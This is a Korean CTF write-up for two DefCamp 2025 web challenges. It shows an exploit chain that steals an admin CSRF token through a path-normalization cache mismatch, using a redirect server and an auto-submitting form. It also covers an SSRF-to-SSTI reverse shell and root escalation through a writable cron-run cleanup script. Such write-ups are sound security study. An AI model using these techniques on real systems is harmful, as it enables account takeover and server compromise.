DefCamp-CTF 2025 Quals
DefCamp-CTF 2025 Quals
대회 일정
2025-09-12 19:00 ~ 2024-09-14 19:00
대회 후기
RubiyaLab Expeditions 팀으로 참여하여 DCTF를 진행하였고, 최종 9위로 마무리하였습니다.
오랜만에 풀타임으로 CTF 대회에 참여하였는데 팀원분들과 함께 의논하며 문제 푸는게 재밌었던 것 같습니다. 이번 대회를 통해 공부해야할 부분들도 알게 되어 좋았습니다.
Web 문제는 총 4문제가 출제되었고, esoteric-urge
, rocket
문제 풀이에 기여하였습니다. 풀이한 문제에 대해 Write-Up을 작성하였습니다.
Writeup
esoteric-urge
index.js
app.delete('/reach_nirvana', middleware.requireEsotericKnowledge, async (req, res) => {
res.status(200).sendFile(path.join(__dirname, 'nirvana.txt'));
await utils.sleep(3);
process.exit();
});
nirvana.txt 파일에는 DCTF{flag}
값이 포함되어 있습니다.
/reach_nirvana
API 요청을 위해서는 middleware.requireEsotericKnowledge
조건을 만족해야합니다.
export function requireEsotericKnowledge(req, res, next) {
const user = req.session.user;
if (user && user.role === 'guide') {
return next();
}
res.status(403).send('You are not yet prepared');
}
requireEsotericKnowledge
함수는 사용자의 역할이 guide
인지 확인합니다.
index.js
app.post('/awaken', middleware.csrfProtect, async (req, res) => {
try {
const username = req.body.username;
const found = await User.findOne({ username });
if (found) {
res.status(200).render("message", { text: `The UNiverse is waiting for you, ${username}` });
return;
}
const user = req.session.user;
const password = crypto.randomBytes(20).toString('hex').slice(0, 20);
let role = null;
if (user && user.role === 'guide') {
role = req.body.role;
}
await User.create({ username, password: utils.hash(password), role: role || 'adept' });
res.render("awaken", { username, password });
} catch {
res.status(500).send('It\'s only a bad dream');
}
});
회원가입 로직을 보면, user.role === 'guide'
조건을 만족하는 사용자만 역할을 지정할 수 있는 것으로 확인됩니다.
/**
* index.js
*/
app.post('/transcend', middleware.requireLogin, middleware.csrfProtect, (req, res) => {
const url = req.body.url;
if (!url) {
res.render("message", { text: 'The URL is yet to be.' });
return;
}
if (!url.startsWith('http://') && !url.startsWith('https://')) {
res.render("message", { text: 'URL does not have the right frequency.' });
return;
}
astralTravel(url);
res.render("message", { text: 'Light will be shining over you.' });
});
/**
* traveller.js
*/
import { chromium } from 'playwright';
async function astralTravel(url) {
try {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('http://127.0.0.1:3000/login');
await page.getByRole('textbox', { name: 'Username' }).fill('metatron');
await page.getByRole('textbox', { name: 'Password' }).fill(process.env.ADMIN_PASSWD || 'lordshiva42');
await page.getByRole('button', { name: 'Log In' }).click();
await page.goto(url);
await page.getByRole('button', { name: 'Submit' }).click();
const title = await page.title();
await browser.close();
return title;
} catch (error) {
console.log(error);
return null;
}
}
export { astralTravel };
로그인 이후 /transcend
페이지에 방문하여 봇에게 URL을 전달하면, 관리자 계정이 URL을 방문합니다.
다만, /awaken
API 요청 시, middleware.csrfProtect
미들웨어에 의해 CSRF 토큰 검증을 수행하고 있어 외부 서버에서 요청이 불가능합니다.
/**
* index.js
*/
const cache = new NodeCache({ stdTTL: 60 });
app.use('/public', middleware.cacheFiles(cache), express.static('public'));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use((req, res, next) => {
req.url = path.normalize(decodeURIComponent(req.path));
next();
});
/**
* middlemare.js
*/
export function cacheFiles(cache) {
return function (req, res, next) {
const key = req.originalUrl
const cached = cache.get(key);
if (cached) {
res.set('X-Cache-Status', 'HIT');
return res.send(cached);
}
const originalSend = res.send.bind(res)
res.send = (body) => {
cache.set(key, body)
res.set('X-Cache-Status', 'MISS')
return originalSend(body)
}
next();
}
}
다만, index.js
, middlemare.js
파일을 보면, /public
경로에 대해 캐시를 사용하고 있는 것을 알 수 있습니다.
index.js
파일의 경우, URL 디코딩 및 정규화된 값을 req.url
에 저장합니다.
반면, middlemare.js
는 req.originalUrl
변수를 사용하고 있는 것을 확인할 수 있습니다.
이로 인해, 캐시를 처리하는데 문제가 발생합니다.
/public/42.gif%2f..%2f..%2fawaken
경로 요청 시, /awaken
페이지가 반환되며 X-Cache-Status: HIT
응답 헤더가 포함된 것을 확인할 수 있습니다.
이를 통햏 관리자가 해당 페이지에 방문하게 한 후, 동일한 요청을 보내 CSRF 토큰을 탈취할 수 있습니다.
공격 방법
- 로그인 이후,
/transcend
페이지에 방문하여 공격자 URL을 전달합니다.- 공격자 서버는 봇이
/awaken
페이지에 방문하도록 리다이렉션 시킵니다. http://127.0.0.1:3000/public/1.gif%2f..%2f..%2fawaken
- 공격자 서버는 봇이
- 봇이 방문한 페이지에 방문하여 캐시에 의해 관리자가 방문한 동일한 페이지를 방문하여 관리자의 CSRF 토큰을 탈취합니다.
http://35.198.141.47:31303/public/1.gif%2f..%2f..%2fawaken
Cache HIT
CSRF Token
-
관리자의 CSRF 토큰을 획득한 후, 공격자 서버에 관리자 CSRF 토큰을 업데이트 합니다.
/transcend
페이지로 다시 돌아가서 공격자 URL을 전달합니다.- 공격자 서버는 가입 아이디, 역할(role), 관리자 CSRF 토큰을 포함하여 봇이 회원가입을 수행하도록 셋팅합니다.
http://127.0.0.1:3000/public/2.gif%2f..%2f..%2fawaken
- 이전과 동일하게 봇이 방문한 페이지에 방문하면, 회원가입된 사용자 계정(아이디, 비밀번호)를 획득할 수 있습니다.
http://35.198.141.47:31303/public/2.gif%2f..%2f..%2fawaken
계정 정보
-
guide
권한을 가진 계정으로 로그인하여/reach_nirvana
API 요청 시, 플래그를 획득할 수 있습니다.
Exploit Code
from flask import Flask, render_template, redirect
app = Flask(__name__)
@app.route('/')
def agent_details():
return render_template('index.html')
@app.route('/redir')
def redir():
return redirect('http://127.0.0.1:3000/public/1.gif%2f..%2f..%2fawaken')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>x</title>
</head>
<body>
<form action="http://127.0.0.1:3000/public/2.gif%2f..%2f..%2fawaken" method="POST" id="xxx">
<input name="role" value="guide">
<input name="username" value="asdf">
<input name="_csrf" value="b9a5bf42ee9dd4505a36fb70aa1bbe39.1757780147.2722d865402558af2a7015372da4d6bba4646f50d73115e2ae05cdaeddb1e485">
<button id="submit">Submit</button>
</form>
<script>
document.getElementById('xxx').submit();
</script>
</body>
</html>
Flag
DCTF{h3r_es0ter1c_urg3_i5_f1nally_tam3d}
rocket
Home Page
홈페이지에 접속하면, URL을 입력할 수 있는 입력 창이 존재합니다.
URL을 입력하면 페이지를 스크랩해서 화면을 표시해줍니다.
홈페이지를 보면, 주석 구문에 http://127.0.0.1:4000/
도메인에 블로그 주소가 노출되어 있는 것을 확인할 수 있습니다.
URL 입력 창에 http://127.0.0.1:4000/
도메인을 포함할 경우, Forbidden Blocked: internal address
오류 메세지가 반환됩니다.
Blog
외부 서버에서 http://127.0.0.1:4000/
페이지로 리다이렉션 되도록 하면, 위와 같이 블로그 페이지가 반환됩니다.
<!-- Blog Header -->
<header class="mb-10 text-center">
<h1 class="text-4xl font-extrabold text-indigo-400">🚀 Rocket Blog</h1>
<p class="text-gray-400 mt-2">Where rockets and ideas take off</p>
</header>
<!-- Blog Post -->
<article class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl mb-10">
<h2 class="text-2xl font-bold text-indigo-300 mb-4">First Launch</h2>
<p class="text-gray-300 leading-relaxed">
Welcome to the Rocket Blog! 🚀 This is our very first post.
We’ll share stories, updates, and thoughts from deep space.
</p>
</article>
<!-- Comment Section -->
<section class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl space-y-6">
<h3 class="text-xl font-semibold text-indigo-300">💬 Comments</h3>
<form method="post" class="flex space-x-2">
<input type="text" name="comment" placeholder="Write a comment..." class="flex-1 px-3 py-2 rounded-xl text-gray-200 bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-indigo-500">
<button type="submit" class="bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-xl font-semibold text-white shadow">
Post
</button>
</form>
<div class="space-y-3">
</div>
</section>
요청을 통해 블로그 내용을 가져오면, POST 요청을 통해 댓글 작성 기능이 존재하는 것을 확인할 수 있습니다.
처음에 XSS를 생각하고 시도했지만, 봇이 주기적으로 동작하지 않고 쿠키를 얻는다고 해도 공격할만한 포인트가 확인되지 않았습니다.
이후, 팀원(@ctrlisk)분이 SSTI 취약점이 존재하는 것을 확인하였고, 이를 통해 리버스쉘을 연결하여 서버에 접속이 가능했습니다.
다만, /flag.txt
파일 읽기의 권한이 root
권한으로 설정되어 있어 권한 상승이 필요했습니다.
Privilege Escalation
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app
서버 파일들을 살펴보던 중 root
권한으로 crontab
이 돌아가고 있는 것을 확인했습니다.
$ cat /etc/logrotate.d/app
/var/log/app.log {
daily
rotate 7
compress
missingok
notifempty
postrotate
/usr/local/bin/cleanup.sh
endscript
}
$ ls -al /usr/local/bin/cleanup.sh
-rwxr-xr-x 1 blog blog 0 Aug 19 13:56 /usr/local/bin/cleanup.sh
/etc/logrotate.d/app
파일 내 /usr/local/bin/cleanup.sh
쉘 스크립트를 주기적으로 실행하는 것을 확인하였습니다.
cleanup.sh
파일 소유가 blog
로 설정되어 있었고, 쓰기 권한도 존재하였습니다.
$ echo "cat /flag.txt > /tmp/x ; chmod 777 /tmp/x" > /usr/local/bin/cleanup.sh
플래그를 읽는 명령을 cleanup.sh
에 넣어주었고, cron
이 cleanup.sh
을 실행하길 기다렸습니다.
생성된 /tmp/x
파일을 읽어 플래그를 획득할 수 있었습니다.
공격 방법
- SSRF 취약점을 활용하여 공격자 서버에서 블로그 페이지 접근
http://127.0.0.1:4000/
-
블로그 내 댓글 기능에 SSTI 취약점을 활용하여 리버스 쉘 연결
-
Crontab
설정 파일 내cleanup.sh
실행 파일 식별 cleanup.sh
파일 내 원하는 명령을 포함하여root
권한으로 명령 실행
Exploit Code
Reverse Shell
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>portal</title>
</head>
<body>
<form method="POST" action="http://localhost:4000/">
<input name="comment"
value="'>">
</form>
<script>
document.querySelector("form").submit();
</script>
</body>
</html>
Privilege Escalation
$ echo "cat /flag.txt > /tmp/x ; chmod 777 /tmp/x" > /usr/local/bin/cleanup.sh
$ cat /tmp/x
ctf{100e4e338e99fbcc300a001d8eb22388015aef102bf56904e2ea84afdacb78b0}
Flag
ctf{100e4e338e99fbcc300a001d8eb22388015aef102bf56904e2ea84afdacb78b0}